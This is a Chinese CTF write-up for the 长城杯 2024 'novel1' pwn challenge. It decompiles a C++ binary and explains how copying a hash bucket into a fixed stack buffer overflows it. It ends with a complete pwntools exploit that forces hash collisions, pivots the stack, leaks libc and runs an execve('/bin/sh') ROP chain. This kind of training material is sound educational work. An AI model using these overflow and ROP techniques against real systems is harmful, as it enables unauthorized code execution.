[长城杯 2024] novel1

NSSCTF 里面有两道长城杯的附件，可以去复现一下：

1778045365767-d6a0fc82-346a-426d-9552-80b9e395bc9e.png

先对程序基本运行一下：

1778070651097-0bfa663a-e27a-484b-8965-97ef72bf5dda.png

main

1778047362675-17e9880e-e717-4c3c-a090-0016fb4aa209.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{ 
    unsigned int n3; // eax

    prologue();
    while ( 1 )
    {
        n3 = chapter();
        if ( n3 == 3 )
            break;
        if ( n3 <= 3 )
        {
            if ( n3 == 1 )
            {
                part1();
            }
            else if ( n3 == 2 )
            {
                part2();
                epilogue();
            }
        }
    }
    epilogue();
}

prologue()：

1778047377698-a44b281c-4d3f-48b7-b8e5-77c07e09f1d1.png

1
2
3
4
5
6
7
8
9
10
char *prologue(void)
{
    setvbuf(stdout, 0, 2, 0);
    setvbuf(stdin, 0, 2, 0);
    setvbuf(stderr, 0, 2, 0);
    std::unordered_map<unsigned int,unsigned long>::clear(&bloodstains);
    puts("A Study in Scarlet, 1887");
    std::operator<<<std::char_traits<char>>(&std::cout, "Author: ");
    return fgets(author, 128, stdin);
}
1
std::unordered_map<unsigned int,unsigned long>::clear(&bloodstains);
  • 作用：清空一个名为 bloodstains 的 C++ 无序映射表（哈希表）。这个表的键 Key 是无符号整数 unsigned int，值 Value 是无符号长整数 unsigned long。
  • 代码特征：这是典型的反编译器生成的语法。在正常的 C++ 源码中，程序员只会写 bloodstains.clear();。反编译器将其还原成了底层的函数调用形式。
1
std::operator<<<std::char_traits<char>>(&std::cout, "Author: ");

简化一下就是std::cout << "Author: ";

  • std::cout 是 C++ 中的标准输出流对象（通常指向终端屏幕）。
  • 前面的 & 取地址符表示将 std::cout 对象的内存地址作为第一个参数传进函数。把接下来的内容写入到这个输出流里

chapter

chapter 函数，包含了菜单和 index 的输入

1778047396569-550a6537-8c48-468c-b4de-430ac52eb8b0.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
__int64 chapter(void)
{
    __int64 v0; // rax
    __int64 v1; // rax
    __int64 v2; // rax
    __int64 v3; // rax
    __int64 v4; // rax
    __int64 v5; // rax
    __int64 v6; // rax
    unsigned int p_n3; // [rsp+Ch] [rbp-44h] BYREF
    _BYTE p_n3_4[47]; // [rsp+10h] [rbp-40h] BYREF
    __int64 v10; // [rsp+3Fh] [rbp-11h] BYREF

    v0 = std::ostream::operator<<(&std::cout, &std::endl<char,std::char_traits<char>>);
    v1 = std::operator<<<std::char_traits<char>>(v0, "Part I: The Reminiscences of Watson, 1881");
    v2 = std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
    v3 = std::operator<<<std::char_traits<char>>(v2, "Part II: The Country of the Saints, 1847");
    v4 = std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
    v5 = std::operator<<<std::char_traits<char>>(v4, "Epilogue");
    v6 = std::ostream::operator<<(v5, &std::endl<char,std::char_traits<char>>);
    std::ostream::operator<<(v6, &std::endl<char,std::char_traits<char>>);
    std::operator<<<std::char_traits<char>>(&std::cout, "Chapter: ");
    std::istream::operator>>(&std::cin, &p_n3);
    if ( !p_n3 || p_n3 > 3 )
    {
        std::allocator<char>::allocator(&v10);
        std::string::basic_string<std::allocator<char>>(p_n3_4, "Invalid chapter.", &v10);
        fragment(p_n3_4);
    }
    return p_n3;
}

以最简洁的 C++代码来看就是一段连续输出和部分输入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
unsigned int chapter() {
    unsigned int choice;

    std::cout << std::endl
              << "Part I: The Reminiscences of Watson, 1881" 
              << std::endl
              << "Part II: The Country of the Saints, 1847"
              << std::endl
              << "Epilogue"
              << std::endl
              << std::endl;

    std::cout << "Chapter: ";
    std::cin >> choice;

    if (choice == 0 || choice > 3) {
        std::string error_msg = "Invalid chapter.";
        fragment(error_msg); // 可能是一个自定义的错误处理或报错退出函数
    }

    return choice;
}

part1

1778047416619-def570df-3998-43a4-8f24-5abb465ff5c5.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
_QWORD *part1(void)
{
    __int64 v0; // rbx
    _QWORD *result; // rax
    __int64 v2; // [rsp+0h] [rbp-90h] BYREF
    _QWORD p_n3[6]; // [rsp+Ch] [rbp-84h] BYREF
    _BYTE v4[9]; // [rsp+3Fh] [rbp-51h] BYREF
    __int64 v5; // [rsp+48h] [rbp-48h] BYREF
    _QWORD p_p_n3[5]; // [rsp+50h] [rbp-40h] BYREF
    __int64 v7; // [rsp+7Fh] [rbp-11h] BYREF

    if ( (unsigned __int64)std::unordered_map<unsigned int,unsigned long>::size(&bloodstains) > 0x1F )
    {
        std::allocator<char>::allocator(v4);
        std::string::basic_string<std::allocator<char>>((char *)p_n3 + 4, "All the bloodstains have been collected.", v4);
        fragment((char *)p_n3 + 4);
    }
    std::operator<<<std::char_traits<char>>();
    std::istream::operator>>(&std::cin, p_n3);
    *(_QWORD *)&v4[1] = std::unordered_map<unsigned int,unsigned long>::end(&bloodstains);
    v5 = std::unordered_map<unsigned int,unsigned long>::find(&bloodstains, p_n3);
    if ( (unsigned __int8)std::__detail::operator!=(&v5, &v4[1]) )
    {
        std::allocator<char>::allocator(&v7);
        std::string::basic_string<std::allocator<char>>(p_p_n3, "This bloodstain has been found.", &v7);
        fragment(p_p_n3);
    }
    std::operator<<<std::char_traits<char>>();
    std::istream::operator>>(&std::cin, &v2);
    v0 = v2;
    result = (_QWORD *)std::unordered_map<unsigned int,unsigned long>::operator[](&bloodstains, p_n3);
    *result = v0;
    return result;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

long long* part1() {        // 假设 p_n3 是 key (血迹编号)，v2 是 value (血迹内容/地址/大小)
    unsigned int key;
    unsigned long value;

    if (bloodstains.size() > 31) {   // 检查容量上限 (最多记录 32 个血迹，0x1F = 31)
        fragment("All the bloodstains have been collected."); 
    }

    std::cin >> key;     // 提示并输入 Key (血迹编号)

    if (bloodstains.find(key) != bloodstains.end()) {     // 检查是否重复
        fragment("This bloodstain has been found.");      // 不能覆盖已有的记录
    }

    std::cin >> value;
    bloodstains[key] = value;

    // 返回刚存入的数据的内存地址
    return &bloodstains[key];
}

part1 函数相当于 add，检查 blood 的个数不可以超过 0x1F，然后输入 blood_index，进行一系列检测，

通过 find 操作防止重复。

part2

1778048658399-9f7c6ed7-54dc-4c3e-a491-ff45194b7060.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
unsigned __int64 part2(void)
{
  __int64 v0; // rax
  __int64 v1; // rax
  unsigned __int64 result; // rax
  unsigned int buf[39]; // [rsp+0h] [rbp-140h] BYREF
  _DWORD p_n3[3]; // [rsp+9Ch] [rbp-A4h] BYREF
  __int64 v5; // [rsp+A8h] [rbp-98h] BYREF
  _QWORD p_p_n3[5]; // [rsp+B0h] [rbp-90h] BYREF
  _QWORD v7[4]; // [rsp+DFh] [rbp-61h] BYREF
  _QWORD v8[3]; // [rsp+100h] [rbp-40h] BYREF
  unsigned __int64 v9; // [rsp+118h] [rbp-28h]
  __int64 v10; // [rsp+120h] [rbp-20h]
  unsigned __int64 i; // [rsp+128h] [rbp-18h]

  memset(buf, 0, 0x90u);
  std::operator<<<std::char_traits<char>>();
  std::istream::operator>>(&std::cin, p_n3);    // cin >> p_n3
  *(_QWORD *)&p_n3[1] = std::unordered_map<unsigned int,unsigned long>::end(&bloodstains);// 获取哈希表的“尾后迭代器”（即表示结束的标志），并把它存放在栈上的一个局部变量里。
  v5 = std::unordered_map<unsigned int,unsigned long>::find(&bloodstains, p_n3);
  if ( (unsigned __int8)std::__detail::operator==(&v5, &p_n3[1]) )// if (bloodstains.find(key) == bloodstains.end())
  {
    std::allocator<char>::allocator(v7);
    std::string::basic_string<std::allocator<char>>(p_p_n3, "This bloodstain has not been found.", v7);
    fragment((__int64)p_p_n3);                  // fragment
  }
  v10 = std::unordered_map<unsigned int,unsigned long>::bucket(&bloodstains, p_n3);// bucket索引
  v9 = std::unordered_map<unsigned int,unsigned long>::bucket_size(&bloodstains, v10);// bucket_size 一共有多少个元素
  std::unordered_map<unsigned int,unsigned long>::end((char *)v7 + 1, &bloodstains, v10);// 哈希桶结尾迭代器
  std::unordered_map<unsigned int,unsigned long>::begin(v8, &bloodstains, v10);// 哈希桶开始迭代器
  std::copy<std::__detail::_Local_iterator<unsigned int,std::pair<unsigned int const,unsigned long>,std::__detail::_Select1st,std::hash<unsigned int>,std::__detail::_Mod_range_hashing,std::__detail::_Default_ranged_hash,false,false>,std::pair*<unsigned int,unsigned long>>(
    v8,
    (char *)v7 + 1,                             // std::copy(bucket_begin, bucket_end, buf); 将哈希桶所有元素拷贝到buf当中
    buf);
  std::__detail::_Local_iterator<unsigned int,std::pair<unsigned int const,unsigned long>,std::__detail::_Select1st,std::hash<unsigned int>,std::__detail::_Mod_range_hashing,std::__detail::_Default_ranged_hash,false,false>::~_Local_iterator(v8);
  std::__detail::_Local_iterator<unsigned int,std::pair<unsigned int const,unsigned long>,std::__detail::_Select1st,std::hash<unsigned int>,std::__detail::_Mod_range_hashing,std::__detail::_Default_ranged_hash,false,false>::~_Local_iterator((char *)v7 + 1);// ~ 清理
  v0 = std::operator<<<std::char_traits<char>>();
  std::ostream::operator<<(v0, &std::endl<char,std::char_traits<char>>);// cout << endl
  for ( i = 0; ; ++i )                          // for(int i = 0;i >= v9; ++i)
  {
    result = i;
    if ( i >= v9 )
      break;
    v1 = std::ostream::operator<<(&std::cout, buf[0]);// count << buf[i] << endl
    std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
  }
  return result;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
unsigned long part2() {
    // 栈上的一个固定大小的局部数组 (0x90 = 144 字节)
    std::pair<unsigned int, unsigned long> buf[9]; 
    memset(buf, 0, 0x90); 

    unsigned int key;
    // 1. 输入你要查找的血迹编号 (Key)
    std::cin >> key;

    // 2. 检查这个 Key 是否存在
    if (bloodstains.find(key) == bloodstains.end()) {
        fragment("This bloodstain has not been found."); // 找不到就报错
    }
    // 3. 获取这个 Key 所在的哈希桶 (Bucket) 的索引
    size_t bucket_idx = bloodstains.bucket(key);

    // 4. 获取这个哈希桶里一共有多少个元素
    size_t bucket_sz = bloodstains.bucket_size(bucket_idx);

    // 5. 获取这个哈希桶的开头和结尾迭代器
    auto bucket_begin = bloodstains.begin(bucket_idx);
    auto bucket_end = bloodstains.end(bucket_idx);

    // 6. 将整个哈希桶里的所有元素，拷贝到栈上的局部数组 buf 中
    std::copy(bucket_begin, bucket_end, buf);

    std::cout << std::endl;
    // 7. 打印出来 (反编译器这里识别得有些问题，原意应该是遍历打印 key)
    for (int i = 0; i < bucket_sz; ++i) {
        std::cout << buf[i].first << std::endl; 
    }

    return bucket_sz;
}
哈希桶 (Bucket) 的概念

在前面我们提到过，std::unordered_map 的底层是哈希表。

当你把一个 Key 存进去时，C++ 会计算它的哈希值，然后把它放进对应的桶（Bucket）里。

  • 如果两个不同的 Key 算出来的哈希值一样，或者对桶的数量取模后一样，它们就会被放进同一个桶里。这在计算机科学中叫哈希碰撞 。
  • C++ 的处理方式是：把同一个桶里的元素用一个链表串起来。

代码中的 std::unordered_map::bucket 就是用来找某个 Key 在哪个桶里；bucket_size 就是看这个桶里串了多少个元素。

致命的 std::copy 操作
1
std::copy<...>(v8, (char *)v7 + 1, buf);

这对应的就是 std::copy(begin, end, buf),把指定桶里的所有键值对，全部复制到 buf 这个栈变量里。

我们继续堆 part2 分析：这个 part2 函数在最后调用了 cout << buf ,相当于 show。由于 memset 和 copy 操作都是针对于 v3 的，因此我们猜测 v3 有漏洞

epilogue

1778048588349-89f39e5a-1cc9-4402-84dd-cfa1eda5c10a.png

1
2
3
4
5
6
7
8
9
void __noreturn epilogue(void)
{
    __int64 v0; // rax

    std::ostream::operator<<(&std::cout, &std::endl<char,std::char_traits<char>>);
    v0 = std::operator<<<std::char_traits<char>>();
    std::ostream::operator<<(v0, &std::endl<char,std::char_traits<char>>);
    exit(0);
}

RACHE

除此之外，还存在着一个 RACHE 函数，里面有很多 pop 可以当做 gadgets 进行利用：

1778064750694-69e84df6-540b-44f0-a7c7-0b8ebac371c2.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
.text:00000000004025B6 ; =============== S U B R O U T I N E =======================================
.text:00000000004025B6
.text:00000000004025B6 ; Attributes: bp-based frame
.text:00000000004025B6
.text:00000000004025B6 ; __int64 RACHE(void)
.text:00000000004025B6                 public _Z5RACHEv
.text:00000000004025B6 _Z5RACHEv       proc near
.text:00000000004025B6 ; __unwind {
.text:00000000004025B6                 endbr64
.text:00000000004025BA                 push    rbp
.text:00000000004025BB                 mov     rbp, rsp
.text:00000000004025BE                 pop     rax
.text:00000000004025BF                 pop     rsp
.text:00000000004025C0                 pop     rdi
.text:00000000004025C1                 nop
.text:00000000004025C2                 pop     rbp
.text:00000000004025C3                 retn
.text:00000000004025C3 ; } // starts at 4025B6
.text:00000000004025C3 _Z5RACHEv       endp ; sp-analysis failed
.text:00000000004025C3
.text:00000000004025C4

接下来我们去动调，看一看栈上的情况：

EXP：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
from pwn import *

filename = './novel1'
p = process(filename)

elf = ELF(filename)

ld_path = "/home/kali/Desktop/glibc-all-in-one/libs/2.35-0ubuntu3_amd64/ld-linux-x86-64.so.2"
libc_path = "/home/kali/Desktop/glibc-all-in-one/libs/2.35-0ubuntu3_amd64/libc.so.6"
libc = ELF('/home/kali/Desktop/glibc-all-in-one/libs/2.35-0ubuntu3_amd64/libc.so.6')

io = process([ld_path, "./novel1"], env={"LD_LIBRARY_PATH": "/home/kali/Desktop/glibc-all-in-one/libs/2.35-0ubuntu3_amd64/"})
context(arch = elf.arch, log_level = 'debug', os = 'linux')

puts_plt = 0x0000000000402460
puts_got = 0x000000000040A108
pop_rax_rsp_rdi_rbp_ret = 0x0000000004025BE
main = 0x0000000000402D23
ret = 0x000000000040201a

def part1(idx,value):
    p.sendlineafter("Chapter:","1")
    p.sendlineafter("Blood:",str(idx).encode())
    p.sendlineafter("Evidence:",str(value).encode())
    
def part2(idx):
    p.sendlineafter("Chapter:","2")
    p.sendlineafter("Blood:",str(idx).encode())

def get_addr(p):
    return u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))

author = 0x000000000040A540
rop = p64(puts_got)+p64(0)+p64(puts_plt)+p64(main)
# rop += p64(pop_rsp_rdi_rbp_ret)+p64(author+)+p64(0)*2+p64(main)
p.sendlineafter("Author:",rop)

for i in range(0xb):
    part1(1+29*i,i)

part1(1+29*0xb,pop_rax_rsp_rdi_rbp_ret)
part1(1+29*0xc,author)

for i in range(0xd,0x16):
    part1(1+29*i,i)
# gdb.attach(p)
# pause()

part2(1)

libc_base = get_addr(p) - libc.symbols["puts"]
log.success("libc_base: "+hex(libc_base))
system = libc_base + libc.symbols["system"]
syscall = libc_base + 0x0000000000029db4
pop_rdi_ret = libc_base + 0x000000000002a3e5
pop_rsi_ret = libc_base + 0x000000000002be51
pop_rdx_rbx_ret = libc_base + 0x00000000000904a9
pop_rax_ret = libc_base + 0x0000000000045eb0

rop = p64(0x000000000040285A)+p64(0)+p64(pop_rdi_ret)+p64(author+0x60)+p64(pop_rsi_ret)+p64(0)+p64(pop_rdx_rbx_ret)+p64(0)*2+p64(pop_rax_ret)+p64(0x3b)+p64(syscall)+b"/bin/sh\x00"

p.sendlineafter("Author:",rop)
p.interactive()

更新: 2026-05-06 21:59:06
原文: https://www.yuque.com/idcm/wnemg9/ibi2xs1gslnzchqu